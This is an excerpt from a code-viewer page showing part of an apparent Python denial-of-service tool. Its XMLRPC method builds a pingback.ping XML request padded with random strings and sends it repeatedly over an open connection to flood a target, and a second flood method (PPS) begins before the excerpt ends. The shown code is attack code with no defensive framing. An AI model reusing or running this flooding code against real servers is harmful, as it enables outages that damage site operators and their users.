(self)
| 1028 | Tools.safe_close(s) |
| 1029 | |
| 1030 | def XMLRPC(self) -> None: |
| 1031 | payload: bytes = self.generate_payload( |
| 1032 | ("Content-Length: 345\r\n" |
| 1033 | "X-Requested-With: XMLHttpRequest\r\n" |
| 1034 | "Content-Type: application/xml\r\n\r\n" |
| 1035 | "<?xml version='1.0' encoding='iso-8859-1'?>" |
| 1036 | "<methodCall><methodName>pingback.ping</methodName>" |
| 1037 | "<params><param><value><string>%s</string></value>" |
| 1038 | "</param><param><value><string>%s</string>" |
| 1039 | "</value></param></params></methodCall>") % |
| 1040 | (ProxyTools.Random.rand_str(64), |
| 1041 | ProxyTools.Random.rand_str(64)))[:-2] |
| 1042 | s = None |
| 1043 | with suppress(Exception), self.open_connection() as s: |
| 1044 | for _ in range(self._rpc): |
| 1045 | Tools.send(s, payload) |
| 1046 | Tools.safe_close(s) |
| 1047 | |
| 1048 | def PPS(self) -> None: |
| 1049 | payload: Any = str.encode(self._defaultpayload + |
nothing calls this directly
no test coverage detected